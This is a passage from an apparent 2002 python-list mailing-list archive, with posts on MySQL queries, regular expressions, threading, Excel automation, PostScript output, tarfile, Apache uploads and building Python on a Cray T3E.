files. The only "special" > aspect is that the file must have a "main.py" file which is the entry > point to the archive. > > Usage: > python -c "import par; par.run()" parfile arg arg arg... > """ > > import zipfile as _zipfile > import sys as _sys > import os as _os > > def run(parfile = None): > """Run a par file. Use sys.argv to get a filename if none is given.""" > > # Get the name of the archive, and shift sys.argv one place > # to remove the "-c" entry. Special case for run being passed > # no filename. If a filename is passed, don't change sys.argv. > if parfile is None: > parfile = _sys.argv[1] > del _sys.argv[0] > > # Register the parfile import hook (all the work is done on import) > import par.importer > > # Install the parfile at the start of sys.path > _sys.path.insert(0, parfile) > > # Get the entry point as metadata, and the content of the entry point > # Then run the entry point in the top level namespace > main = _zipfile.ZipFile(parfile).read("main.py") > main = main.replace("\r", "") > runcode(main, _os.path.join(parfile, "main.py")) > > def runcode(code, filename): > """Compile and run code, as if it came from filename, in the toplevel namespace""" > toplevel = _sys._getframe() > while toplevel.f_back: > toplevel = toplevel.f_back > codeobj = compile(code, filename, "exec") > exec codeobj in toplevel.f_globals, toplevel.f_locals > > ---------------------------------------------------- > > This code relies on a par.importer module, which is just an import > hook (using Gordon McMillan's iu.py import hook package) to allow > zipfiles as part of sys.path. When this is supported natively (Python > 2.3) the par.importer module is no longer needed, and you have a > simple 35-line (or so) module. > > > I am a python beginner and i don't yet know if it would be a problem > > to name this file __init__.py like packages in a directory. > > That sounds reasonable. As you can see, the name is hard-coded in the > package above. You could do all sorts of things, such as having a > MANIFEST file containing the name of the startup file, just like Java > does. But that's trivial details... > > > That's already near at the goal, but it's not self-contained. You have > > to put this line into a unix semi-executable +x or create a shortcut > > in a GUI. > > But you have to do that with JAR files, too!!! OS-level magic to make > particular filetypes executable, and the command line to run to > execute them, is highly system-dependent (filetype associations on > Windows, binfmt_misc magic on Linux, whatever else...) > > If you care that much, write a custom executable and concatenate it > onto the front of the zipfile. The zip format copes with this, and > many executable formats (certainly Windows, and I believe Linux too) > don't mind. But that involves C coding, which is too hard for an > evening's quick hack :-) > > > Thank's a lot for your explanations. I am still a Python > > beginner. After a year of language (re-)search I think I finally ended > > up with Python and I'm happy that I didn't get stuck with Java .... > > No problem. Like many things with Python, the reason that there is no > "standard" way of doing this sort of thing is that it's pretty trivial > to put something together for your own use, but almost impossible to > persuade the rest of the community that your 10-line hack is so much > better than theirs as to be acceptable as a "standard" :-) > > The PEP process should be good for this sort of thing, but it does > need a fairly committed champion to push anything through. Heck, maybe > I'll try pushing this one, just to see if I can work out how to make > the process smoother... :-) > > Paul. From sholden at holdenweb.com Wed May 8 07:31:58 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 8 May 2002 07:31:58 -0400 Subject: MySQL questions References: <004c01c1f621$190de820$02a8a8c0@FILESERVER.local> Message-ID: <02f601c1f683$f9509100$6300000a@holdenweb.com> [Billy: Hope you don't mind me copying this reply to the list] ----- Original Message ----- From: "Billy Ng" To: "Steve Holden" Sent: Tuesday, May 07, 2002 7:44 PM Subject: Re: MySQL questions > > > Question 1 > > > I have a freq field that contains '"15:0" MINUTE_SECOND', why can't I do > > > this? > > > > > > UPDATE table SET set next_update=DATE_ADD(NOW(), INTERVAL table.freq); > > > > > Perhaps if you explained what it was you were trying to do, then we might > be > > able to explain how to do it in SQL and/or Python. Seems like you want to > > add an interval specified in hours and minutes (as a string?) in a row of > > one table to a field in a row of some other table. > > > > Is "freq" in the same table as "next_update"? Is there just one row in > this > > table? > > > > If the table rows aren't huge, maybe you cxould even give us their > > definition (from the "DESCRIBE table" SQL command). > > Each row has its own freq. "freq" is in the same table as "next_update". > There are many rows in the table. > > | last_update | timestamp(14) | YES | | NULL | | > | next_update | datetime | | | 0000-00-00 00:00:00 | | > | xml_text | text | | | | | > | submit_date | datetime | | | 0000-00-00 00:00:00 | | > | assistant_id | int(11) | | | 0 | | > | search_id | varchar(25) | | PRI | | | > | freq | varchar(30) | | | | | > The problem here is that your freq column isn't in any form that SQL can use to add to a datetime. About your only option appears to be to read the row or rows you want to update into your program, and do the arithmetic you want there (perhaps with the mxDateTime package). If you turned freq into an integer field holding the number of seconds between updates you could do this much more easily in pure SQL: mysql> SELECT * FROM tmp; +---+---------------------+------+ | k | d | i | +---+---------------------+------+ | 1 | 2002-05-11 20:58:15 | 900 | | 2 | 2002-05-11 13:15:00 | 7200 | +---+---------------------+------+ 2 rows in set (0.00 sec) mysql> UPDATE tmp SET d=d+i WHERE k=1; Query OK, 1 row affected (0.00 sec) Rows matched: 1 Changed: 1 Warnings: 1 mysql> SELECT * FROM tmp; +---+---------------------+------+ | k | d | i | +---+---------------------+------+ | 1 | 0000-00-00 00:00:00 | 900 | | 2 | 2002-05-11 13:15:00 | 7200 | +---+---------------------+------+ 2 rows in set (0.00 sec) > > > > Question2 > > > How can I INSERT a record into the table if the table does not have any > > > record with a provided id in the id field? Do I need to join a SELECT > > > statement? > > > > > You mean the table has no primary key? That would make it rather difficult > > to uniquely specify (with a WHERE clause) which row to update. The usual > way > > to get around this is to use an INTEGER AUTO_INCREMENT field as the > primary > > key. When you insert into a table with such a key, but provide no value > for > > the key field (or specifically provide a NULL value) MySQL puts a unique > > value for that field in the inserted row. You can retrieve the inserted > > value in SQL using the last_inserted() or some similar function whose name > > escapes me for the moment. > > The combination of the user_id and product_id will be uniqe. When I get the > product_id and user_id, i want to change the tableA to see if there is a > record that has this user_id and product_id. If not, I will insert a record > with this user_id and product_id. What I am doing right is: > > Query to count tableA whether it has the user_id and product_id > if count is 0 > insert tableA (user_id, product_id) values (xxxxx, xxxxxxx) > > I think it must a way to write it in one SQL statement. > As far as I know there is no way in SQL to do this optional insert. > > > Question3 > > > Can I query from a query in MySQL? > > > > > You mean can the output of one query become the input of another? Only if > > you store the first query's output in a temporary table. > > > > Most often, however, this isn't necessary if you make your SQL queries a > > little more complex. Again, a few more details might help... > > Oh yes, dummy table will do the job. I have not done databases for too > long. I totally forgot this. > But don't forget that nested queries, or queries using joins, will almost always be quicker even though the SQL is more complex. regards Steve Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From marklists at mceahern.com Thu May 2 14:41:31 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 2 May 2002 13:41:31 -0500 Subject: module access In-Reply-To: <0A65762C-5DFA-11D6-A548-003065428126@pacbell.net> Message-ID: > print ' Message-ID: [Phil Hystad] > For example, string.uppercase has the following values: > > ABCDEFGHIJKLMNOPQRSTUVWXYZ\xC0\xC1\xC2....\xCde Here's the C code that creates this: n = 0; for (c = 0; c < 256; c++) { if (isupper(c)) buf[n++] = c; } So you get whatever your platform C's isupper() function says is an uppercase letter; this may vary according to locale and platform C bugs. If you're married to ASCII, use string.ascii_lowercase, string.ascii_uppercase, and string.ascii_letters instead. From btjenkins at att.net Thu May 23 15:33:24 2002 From: btjenkins at att.net (Ben) Date: 23 May 2002 12:33:24 -0700 Subject: trying to parse to Excel... Message-ID: <9013d0b4.0205231133.70b58257@posting.google.com> I am trying to create a simple script that will open a file (based upon date) in a default directory and convert it to an Excel spreadsheet. This file will contain hundreds of lines of text - each line will have approximately 18 items separated by commas. This is the code I have developed so far: from win32com.client import Dispatch import string, sys xlApp = Dispatch("Excel.Application") xlApp.Visible = 1 xlApp.Workbooks.Add() file=open("Test.txt", "r") lines=file.readlines() file.close() x=1 y=1 for line in lines: parms=string.split(line, ",") parms[0] for i in xrange(18): xlApp.ActiveWorkbook.ActiveSheet.Cells(x,y).Value = parms[i] y=y+1 x=x+1 y=1 The script finds the file, opens Excel and populates the first row. BUT, it does not continue to loop through the file and populate the other rows. I am relatively new to Python and would appreciate any advice that you may have. Should you need additional information, please let me know. With much thanks, Ben From guido at python.org Wed May 22 07:42:59 2002 From: guido at python.org (Guido van Rossum) Date: Wed, 22 May 2002 07:42:59 -0400 Subject: [Edu-sig] Emulating Pascal input In-Reply-To: Your message of "Wed, 22 May 2002 12:03:20 BST." <20020522110320.GA7559@st-annes.oxford.ac.uk> References: <20020522110320.GA7559@st-annes.oxford.ac.uk> Message-ID: <200205221142.g4MBgxM09862@pcp742651pcs.reston01.va.comcast.net> [Michael Williams is looking for a readln() replacement] If you're willing to change the input format to require commas between numbers, you could use the standard built-in function input(), which was put in Python specifically to support this kind of usage. --Guido van Rossum (home page: http://www.python.org/~guido/) From Thursfield at west.de Tue May 7 13:29:51 2002 From: Thursfield at west.de (Ben Thursfield) Date: Tue, 07 May 2002 19:29:51 +0200 Subject: Newbie question, python code <-> web formulare Message-ID: <3CD80F0E.1B4AC97E@west.de> Hi! I've been programming a bit in python for a few days now, und I'm now at the point where I want to embed my Python code into my webpage somehow. For example I'm connecting to my mailserver using the socket lib and I want to be able to transfer data between the python program and a web formulare (e.g. login+pass). I don't know how to manage that though. I manage it when i do it locally but i don't know how to get my webhost to run the python programm so i can communicate with it. Is this possible at all? Can I use Python in a PHP manner? Sorry for my bad english.. Greets Ben From noah at noah.org Wed May 8 10:38:27 2002 From: noah at noah.org (Noah) Date: Wed, 8 May 2002 07:38:27 -0700 Subject: Regular expression question In-Reply-To: <3CD8E9A7.6010600@chambersharrap.co.uk> Message-ID: I think you will be forced to do this in three steps: pull out the matched groups into variables; modify the variables; then do your substitution. The replacement can also be a function. Maybe if you are smart and want unreadable code you could do this with a lambda or something. The following will substitute the matched groups as lowercase, but I'm unsure how to substitute this into a new string. import re def myLower (match): "This returns the matched string in lower case." return match.group().lower() pat = re.compile(r'
(.*?)
') pat.sub(myLower, r'FOOBAR
') I don't know if this helps. Maybe it's a clue. Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Patrick Gaherty Sent: Wednesday, May 08, 2002 2:03 AM To: python-list at python.org Subject: Regular expression question Im performing the following search and replace in Python. However, I would like to return the first group as lowercase using .lower() in the replacement string, What's the best way of achieving this? result = re.sub(r'(.*?)
', r'
\2', result) Thanks Patrick Gaherty From cliechti at gmx.net Wed May 1 16:08:33 2002 From: cliechti at gmx.net (Chris Liechti) Date: 1 May 2002 22:08:33 +0200 Subject: HTML filtering References: <01Xz8.21629$YQ1.8012127@typhoon.southeast.rr.com> Message-ID: "Stuart D. Gathman" wrote in news:01Xz8.21629$YQ1.8012127 at typhoon.southeast.rr.com: > I need to filter HTML to remove certain constructs (e.g. ). I am trying to use the batteries. The htmllib module > helps with the parsing, but it seems like a lot of work to create a > formatter that passes everything (except script) through in HTML > syntax - espicially trying to preserve original syntax. Am I missing > something? Is there another module I should be using for filtering > HTML? Perhaps one of those ad stripping filters written in python > would provide a usable example? as your not interested in the document sructure etc you could try a text replacement approach. e.g. with re's... script = re.compile("", re.IGNORECASE) #*? is important filtered = script.sub("", open(filename).read()) open(filename).write(filtered) or something like that. chris -- Chris From sigvald at binet.is Wed May 15 15:32:43 2002 From: sigvald at binet.is (Sigvaldi Eggertsson) Date: 15 May 2002 12:32:43 -0700 Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> <70d8ab2e.0205150323.6c111961@posting.google.com> <7LrE8.23991$L76.1842@rwcrnsc53> Message-ID: <70d8ab2e.0205151132.4444446f@posting.google.com> "Emile van Sebille" wrote in message news:<7LrE8.23991$L76.1842 at rwcrnsc53>... > Sigvaldi Eggertsson > > Emile van Sebille > > > Or like Iceland, which rightly sets the blame at Bill Gates' > doorstep. ;-) > > > > http://seattletimes.nwsource.com/news/technology/html98/icel_063098.html > > > > When the article was published it was already out of date, Microsoft > > put out an Icelandic version of Windows 98 just after this was > > written. > > My apologies. Out of curiosity, do you know if it is still policy in > Iceland to keep foreign words out? It?s never been policy (If someone told an Icelander how he should talk, he would ignore it) but the language being the way it is, foreign words seem out of place so people try to use Icelandic words, foreign or new words that fit into the system of the language. When we use computers we mostly use english however (the Icelandic version of windows did not sell much) Sigvaldi From gh_pythonlist at gmx.de Fri May 31 04:04:03 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Fri, 31 May 2002 10:04:03 +0200 Subject: [Extensions] Checking for type Message-ID: <20020531080403.GA14041@lilith.my-fqdn.de> Currently, I'm checking for the type with: if (function_result->ob_type == &PyInt_Type) I'd rather use the C-API equivalent of isinstance(function_result, IntType) but there doesn't seem to be one that's compatible with Python 2.1, too. Any suggestions? Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 16.4 ?C Wind: 0.5 m/s From martin at v.loewis.de Sun May 12 14:17:52 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 12 May 2002 20:17:52 +0200 Subject: making python scripts backwards compatible References: <57yD8.37515$n4.8177493@newsc.telia.net> Message-ID: "Fredrik Lundh" writes: > development of what? given the context of the -dev discussion, I'm > not sure Guido's brain was switched on when he posted that note: > > he pointed out that there is little point in adding language > features to [the Python interpreter] if [library] development > is anchored to old language versions > > fwiw, the latest PIL still works with 1.5 (and maybe earlier). if Guido > thinks that affects his work on the interpreter in any way, I'd say he > needs a vacation ;-) That is taken out of context, though: [library] really was [standard library]. There was a request to restrict the standard library to older Python versions (as done with SRE, as an exception); third-party libraries were not considered. For the standard library, I agree with Guido's remark. Regards, Martin From skip at pobox.com Wed May 22 09:54:11 2002 From: skip at pobox.com (Skip Montanaro) Date: Wed, 22 May 2002 08:54:11 -0500 Subject: Threads In-Reply-To: References: Message-ID: <15595.41731.741757.964798@12-248-41-177.client.attbi.com> Mark> r.j.cunningham at virgin.net (Robert Cunningham) wrote: >> Hopefully someone can clarify this for me, I have n threads running >> and a global var c now sometimes these threads may update c (c += 1 >> or c -= 1). My question is do I need to use a lock or something, at >> the moment I don't, I assumed += is 'atomic' - am I right?? Mark> Very unlikely - certainly with C, += reads a memory location into Mark> a register, adds a value to the register, and then writes the Mark> value back to the memory location. Yes, but generally not in a single machine instruction. In Python, "c += 1" translates into something like LOAD_FAST c LOAD_CONST 1 INPLACE_ADD STORE_FAST c Thread switches can occur between any of those instructions, so you do need to lock c before fiddling it in a multithreaded application. You might get away with not locking c, especially if you've called sys.setcheckinterval() with a fairly large value. Mark> Of course it's possible that someone will reply to this mentioning Mark> a python package that already does this... Sure. That would be the threading and Queue modules. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From erict at millfilm.co.uk Thu May 30 04:28:35 2002 From: erict at millfilm.co.uk (Eric Texier) Date: Thu, 30 May 2002 09:28:35 +0100 Subject: create a tmp file for system execution References: <3CF4E711.8A175798@millfilm.co.uk> Message-ID: <3CF5E2B3.8DDA16BB@millfilm.co.uk> Read the second part of the message @@@: IS PYTHON FASTER THAN C ? The 'ls' command was just an example. The purpose of the little script was to help the management of big sequence of file like image. example: seq.py 1 1000 2 "convert image.#.sgi image.#~4.tiff" will execute convert image.i.sgi image.00i.sgi (from i = 1 to 1000 on 2) convert being a executable. @@@ Something interesting about this story. I wrote the script as a little exercise to mimic a C executable already use in the company I am working for. I want to convice them that Python is for many use the way to go. I found myself with a script 10 time more readable that the C program - use of getopt to parse the 4 or 5 option and the argument - some rexp to make build the proper command (thanks to Jeff Epler for his help) The code is half the size. And most of all, it is faster (* 2 ) than is C brother. I don't know how was compile the C code, but the testing was make exactly in the same environment. I cannot explain it, beside the fact that the c code poorly written. Bengt Richter wrote: > On Wed, 29 May 2002 15:34:57 +0100, Eric Texier wrote: > > >I have a py script executing a bunch of os.system in a loop. > >It is not very fast and I was wondering if it will not be better > >to recreate a execution file. > > > >My 2 questions: > > > >1) what is faster for a big number of call > > > >for i in range(1,2000): > > os.system("ls F1.%d F2.%d" % ( i , i ) " ) > > > >OR > > > >fileOut = open("tmpFile",w) > >for i in range(1,2000): > > fileOut.write("ls F1.%d F2.%d" % ( i , i ) " ) > > > >fileOut.close() > >os.system("csh -c 'source tmpFile' ") > >os.system("rm -f tmpFile") > > > > > >2) if the second one is better I would like to kwo if there is any thing > > > >in python for temporary file, the drag being to if you do not come for > >a specific naming mechanism, you file can be change by and other > >process before it execute > > > wouldn't it be faster to do a single ls F.* command piped to a grep for > the decimal extensions, then to a python script for sorting and final formatting > or whatever you want to do with the file names? Or am I missing something? > > Regards, > Bengt Richter From lars.gustaebel at gmx.de Wed May 1 10:20:12 2002 From: lars.gustaebel at gmx.de (Lars Gustäbel) Date: Wed, 1 May 2002 16:20:12 +0200 Subject: ANNOUNCE: tarfile module release 0.4 Message-ID: I'd like to announce a new release of the tarfile module for Python. This is the first release that leaves the experimental state. Since my first announcement which was the 0.2.5, there have been lots of major and minor changes and bugfixes. Please check out the URL below for details. Synopsis: tarfile module is a pure python module for read and write access to tar format archive files, including gzip compressed archives. Features: - comprehensive class interface - full support for GNU extensions LONGNAME and LONGLINK - read support for GNU extension SPARSE files - additional (but limited) zipfile compatible class interface - possibility to use file-objects for addition and extraction - html documentation and unittest suite included Todo: There is not much left to include except for addition and extraction of character and block devices, which is not yet possible due to the lack of a os.mknod() function in python. Download: http://www.gustaebel.de/lars/tarfile/ Feedback is highly appreciated. Thank you very much for your attention. -- Lars Gust?bel lars at gustaebel.de From saramard at camerond.tin.it Fri May 10 11:14:28 2002 From: saramard at camerond.tin.it (Sara D'Amico) Date: Fri, 10 May 2002 17:14:28 +0200 Subject: How to access to a remote db Message-ID: Hi all, I'm looking for a method to do a remote access (read and write) from a domain server (linux+samba) to a ms access db on another pc.I know that it can be done using a python script. Is there anybody that was in a situation like this? Thank you in advance Sara -- Remove 'camerond.' to private replies From gdemmy at layton-graphics.com Fri May 10 09:24:06 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 10 May 2002 09:24:06 -0400 Subject: making postscript of pdf files References: Message-ID: "Jonathan Vanasco" writes: > i'm hoping to write a python script to make some daily stats stuff > into a (preferably) postscript file, or possibly a pdf or tiff image. > Just really to get the text on there underneath a standard header. > > > I could find 1,000,000 leads on how to do this in perl , but i'd > rather attempt this in python first. > > > Can anyone give me some tips/pointers? There's a bunch of stuff out there... and if you want to do nifty stuff, check out http://www.reportlab.com for a thorough Python-based pdf solution. However, if you are just looking to do some simple, one off stuff, why not just write postscript directly? This is some *minimal* postscript to get you going: /Helvetica findfont 18 scalefont setfont 100 500 moveto (My Header) show 100 400 moveto (3.14159) show showpage This is not a paragon of PostScript, it's just a "proof of concept". Extension to Python is straight forward by creating an interface to these functions e.g., def font(font='Helvetica',scale=18): return '/%s findfont %d scalefont setfont' % (font, scale) Postscript is a nifty programming language that is fun to learn in its own right. The PostScript Language Reference Manual is available from http://www.adobe.com and there are a bunch of postscript tutorials if you want more info. PDF is *much* more of a hassle, especially implementing "document generators* from the ground up (don't do it, use reportlab). PDF is more useful at the document level. Plus, you can always convert PS to PDF. Stay way way way away from creating raster images to display your *textual* information. Also, if you want to make graphs, you can produce encapsulated postscript with graphing programs (e.g., gnuplot). G From pyth at devel.trillke.net Tue May 7 11:03:04 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 7 May 2002 17:03:04 +0200 Subject: HTTP or alternative upload for large files In-Reply-To: References: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> Message-ID: <20020507150304.GM4604@devel.trillke> brueckd at tbye.com wrote: > On Tue, 7 May 2002 robin at execulink.com wrote: > > > This may not be specifically a Python problem, so apologies in > > advance. > > > > I am attempting to upload large files (think 500 MB) through a web > > form using a Python CGI process. > > > > It is easy enough for my program to get the file handle of the > > user-submitted file, and then write this out in chunks to the server. > > But there are two major problems with this. > > > > 1. Apache first uploads the entire file itself, consuming all > > available memory, before handing over control to the CGI process. Why > > it does this is beyond me, since I am not hip to server internals. > > Apache could at least use a restricted amount of memory to do the > > upload, but this, unfortunately, is not the case. Bad things happen > > when memory gets low. > > > > 2. The HTTP connection times out, so the entire file upload is lost. > > > > I imagine the answer to this problem is "don't use HTTP", but I do > > need a seemless solution from a web application. > > I'm no Apache expert, so hopefully somebody else will till you how to fix > this from inside Apache. Barring an Apache solution, have your upload > form's action point to a different port on the same machine. On the server > you can write a small app that listens on that different port, accepts the > POST like you want, and generates the response page. In Apache you can define ProxyPass (use google) to pass certain parts of your URL-namespace to a different server/port (even remote). There sits your python-server and dispataches to your cgi-script. This way you can leave the CGI-binaries at the same place, have minimal modification of the apache-configuration and full (python) control over your uploads. regards, holger From fredrik at pythonware.com Wed May 1 16:46:25 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 20:46:25 GMT Subject: Ways to get number of seconds from Epoch References: Message-ID: V?clav Sigmund wrote:> I am a Python newbie and I sudenly run into following problem: > > I would like to write a tool to analyze the access.log records from my > company's webserver, and it would be very convenient for to convert dates > date of the record into number of seconds from Epoch (let's call it > "standard unix time" for convenience). > > Each record have recorded time as follows: > > [15/Apr/2002:08:28:56 +0200] is that gmt+zone or localtime-zone? cannot remember. but here's a reasonable start: import re, calendar, time text = "[15/Apr/2002:08:28:56 +0200]" MONTHS = [ None, "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ] p = re.compile("\[(\d+)/(\w+)/(\d+):(\d+):(\d+):(\d+) ([-+]\d+)\]") m = p.match(text) # extract date/time fields year, day = map(int, m.group(3, 1)) month = calendar.month_abbr.index(m.group(2)) hour, minute, second = map(int, m.group(4, 5, 6)) offset = int(m.group(7)) unixtime = calendar.timegm((year, month, day, hour, minute, second)) print time.gmtime(unixtime) # prints (2002, 4, 15, 8, 28, 56, 0, 105, 0) From loewis at informatik.hu-berlin.de Wed May 8 09:50:18 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 15:50:18 +0200 Subject: Creating C modules for Python under Cygwin In-Reply-To: <20020508134242.GF1700@tishler.net> References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020506131744.GD1668@tishler.net> <20020506165922.GN1668@tishler.net> <20020508134242.GF1700@tishler.net> Message-ID: Jason Tishler writes: > I asked the above question on the Cygwin list. Someone pointed out > that even though the Python library is static, there still would be a > dependency on the Cygwin DLL. So, it is impossible for Cygwin Python > to be completely self-contained (i.e., statically linked). I wonder whether it is possible to compile Python in a Mingw configuration, though. Regards, Martin From quitelikely at yahoo.com.au Sat May 4 14:20:57 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 05 May 2002 04:20:57 +1000 Subject: Using functional tools References: Message-ID: <82it63bwqe.fsf@acropolis.localdomain> Ken Seehof writes: > Okay, if you find obfuscation by functional programming > as entertaining as I do, try this pattern: > > >>> def f(x): > ... return x*10 > ... > >>> n = 3 > >>> a = [1,2,3,4,5,6,7,8,9] > >>> [((i+1)%n) and a[i] or f(a[i]) for i in range(len(a))] > [1, 2, 30, 4, 5, 60, 7, 8, 90] Here's one without 'for', 'while', list comprehensions, index manipulations, or any semblance of clarity whatsoever: def mapn(fun, seq, n, i=0): if i == len(seq): return [] return [[lambda x: x, fun][i%n==0](seq[i])] + mapn(seq,fun,n,i+1) From mayer at acm.org Wed May 8 20:21:50 2002 From: mayer at acm.org (Robert George Mayer) Date: Wed, 08 May 2002 18:21:50 -0600 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <3CD7150E.E7D3DC76@engcorp.com> Message-ID: <3CD9C11E.F9EBFE3@acm.org> Peter Hansen wrote: > > Mark McEahern wrote: > > > > [Peter Hansen] > > > More out of curiosity than an intention of starting a flame war, but > > > would someone post a snippet of twenty or so lines of Perl which they > > > believe is "readable"? > > > > Does anyone know of research into what the criteria for readability might > > be? > > That's a good slant on it! I have no idea ... Google? > > When I was looking at that "readable" Perl code which George > pointed us to (some comments probably forthcoming from me in > a reply to his post, but in any event thanks George! :) I > started to ponder that question. > > "What makes code readable?" > > (Actually it was "why do I still not find this highly readable?") > > One thing that occurred to me was that the Perl code had a > very high number of "transitions" between punctuation and text. > Effectively every line, and sometimes literally a dozen times > within a line, text and symbols are mixed. Not just the odd > parenthesis or period, but great streams of that infamous Perl > "line noise". > > I think a high "symbol-set-transition rate" (please offer a better > term) leads to low readability. > > Punctuation itself also inherently lowers readability, I believe, > which is a reason I find assembly easier to read than Perl, though > clearly less productive. > > -Peter I have always found shell and Perl to be difficult to read. I call the problem Cartoon-Obscenity Syntax (TM), which involves any extensive use of keyboard-shift-upper-row (non-numeric) characters. That is what makes those languages so &!*%# hard to read. - BOB From peter at vanrooijen.com Sun May 26 05:51:40 2002 From: peter at vanrooijen.com (Peter van Rooijen) Date: Sun, 26 May 2002 11:51:40 +0200 Subject: Golfing in OOLs References: <3CCD6D8B.80C387E3@ameritech.net> <3CEACC4D.FEE79C27@ameritech.net> Message-ID: [snip] > What are your thoughts? Tom, not at all sure this helps, but my thoughts would be: - implements the abstractions that your application requires - implement them to the level of detail that your application requires What is still missing? Regards, Peter van Rooijen > -- > .tom From steve at lurking.demon.co.uk Tue May 14 09:17:01 2002 From: steve at lurking.demon.co.uk (Steve Horne) Date: Tue, 14 May 2002 14:17:01 +0100 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: On Fri, 10 May 2002 19:32:17 +0200, holger krekel wrote: >Tell us the truth! You were sent from these evil perl-hackers >on a quest to bring python to perl's line-noise levels :-) Nope - I hate perl. The basis is taken from XML (or, alternately, LISP). In a manual, it is much easier to look up a name than a combination of operators. For instance, on the first reading of Python code, if you did not know that the '{', ':', and '}' tokens combined to define dictionaries, it would be a bit of a pain to look up in the manual while trying to read some source code. You wouldn't know to look up 'dictionary' because you wouldn't know it's a dictionary. For such a fundamental feature as dictionaries the answer is 'read the beginners tutorial', but with more obscure features an answer of 'read the entire Python documentation' is unreasonable to say the least. My idea is not practical for everyday features, and I'm not suggesting it for that. The Python language is already more than rich enough to support most everyday programming tasks easily. But it allows new features to be added, and it's no less readable than an calculation with a few redundant parentheses surely. As such, surely it's better than performing ever-more-extreme contortions with the existing keywords and operators, as is already noticable in some PEPs. Of course, with 20/20 hindsight, a much better approach could have been taken. For instance, consider the following... begin function ... : ... begin while ... : ... And, relevant to a current PEP... begin switch ... : begin case ... : ... begin default : ... and because only 'begin' would be a keyword ('procedure' etc being ordinary identifiers, which only have special meaning after the 'begin' keyword) any new structure could be added without needing new keywords or obscure operator combinations - old code would be safe from at least one aspect of the evolution of the language. By using 'begin' to make the start of a structure explicit, the ':' could also probably be dropped. I'm always forgetting them things (whinge whine...). So using perlish symbols isn't by any means my ideal - I just think that in the long run there may already be a risk of serious creaping perlishness (due to the resistance to adding new keywords), and this would be a way of saying 'this far, but no further'. -- Steve Horne steve at lurking.demon.co.uk From m.hadfield at niwa.co.nz Wed May 15 02:12:45 2002 From: m.hadfield at niwa.co.nz (Mark Hadfield) Date: Wed, 15 May 2002 18:12:45 +1200 Subject: Building Python on Cray T3E References: Message-ID: "Michael Hudson" wrote in message news:lkhelg74ts.fsf at pc150.maths.bris.ac.uk... > So does the resulting Python actually work after this? We got this > far with 2.2.1c1, but you never told me if the dang thing worked or > not... I'm not sure who this question was directed to, but here are the results of my attempts to build Python 2.2.1 on a Cray T3E over the last few days. The summary is: it can be built and installed and it runs several simple scripts, but several modules are broken to a greater or lesser extent. It's not yet clear to me how useful it will be or how much work is required to fix things. The procedure is the usual "configure; make; make install" with the following variations and notes: - The compiler (found automatically by the configure script) is Cray's cc. We don't have gcc on the NIWA machine and a note from Konrad Hinsen in README warns against using it anyway. - As has been discussed before on this group, Python's unicode module cannot be built because the Cray compiler lacks a 16-bit character datatype (something like that--don't trust me on the details here). So we disable it with "configure --enable-unicode=ucs4". - As noted earlier in this thread, there is a C-function name clash in the _sre module, which can be easily fixed. However, recall that sre is one of two alternative regular-expression engines for the re module, the other engine being pre. It turns out that sre does not pass its tests so the path of least resistance is is to modify Lib/re.py to use the pre engine (the change is trivial) and comment out the _sre entry in Modules/Setup. - The Cray compiler does not support dynamic linking, so extensions must be explicitly listed in Modules/Setup. Here is the list of extensions I have built & linked successfully: posix posixmodule.c new newmodule.c array arraymodule.c cmath cmathmodule.c math mathmodule.c struct structmodule.c time timemodule.c operator operator.c _weakref _weakref.c _codecs _codecsmodule.c _testcapi _testcapimodule.c _symtable symtablemodule.c strop stropmodule.c regex regexmodule.c regexpr.c pcre pcremodule.c pypcre.c _locale _localemodule.c fcntl fcntlmodule.c pwd pwdmodule.c grp grpmodule.c errno errnomodule.c select selectmodule.c xreadlines xreadlinesmodule.c _socket socketmodule.c crypt cryptmodule.c termios termios.c timing timingmodule.c rotor rotormodule.c syslog syslogmodule.c dbm dbmmodule.c binascii binascii.c parser parsermodule.c cStringIO cStringIO.c cPickle cPickle.c - With the above modules included, Python is built successfully. There are quite a few warnings, which I haven't checked out yet. I think that some of them come home to roost in the tests. - After building Python, make runs setup.py, which attempts (among other things) to build extensions not already built & linked statically. This is a futile but harmless exercise; the inevitable failures do not cause make to abort. I have seen elsewhere (in connection with Cygwin Python) a reference to a "--disable-shared" option to configure that I presume would inhibit this. However this is ignored by configure in Python 2.2.1. - Testing is a somewhat depressing experience. On the NIWA machine, a simple "make test" command fails to complete after 12 hours and thrashes the swap space, with the side effect of inhibiting all network access for 10 seconds out of every 30. (They don't call these things supercomputers for nothing. I bet you can't do *that* on your $1000 Linux box!) By running "make test" for a while then completing the tests one at a time, I have established that the following tests fail: test test_al skipped -- No module named al test test_audioop skipped -- No module named audioop test test_binhex failed -- CRC error test test_bsddb skipped -- No module named bsddb test test_cd skipped -- No module named cd test test_cl skipped -- No module named cl test test_curses skipped -- No module named _curses test test_descr skipped -- No module named xxsubtype test test_dl skipped -- No module named dl test test_fcntl crashed -- IO Error test test_fpformat failed -- AssertionError: '-0' != '0' test test_hmac failed -- No module named md5 test test_hotshot skipped -- No module named _hotshot test test_imageop skipped -- No module named imageop test test_imgfile skipped -- No module named imgfile test test_linuxaudiodev skipped -- No module named linuxaudiodev test test_locale 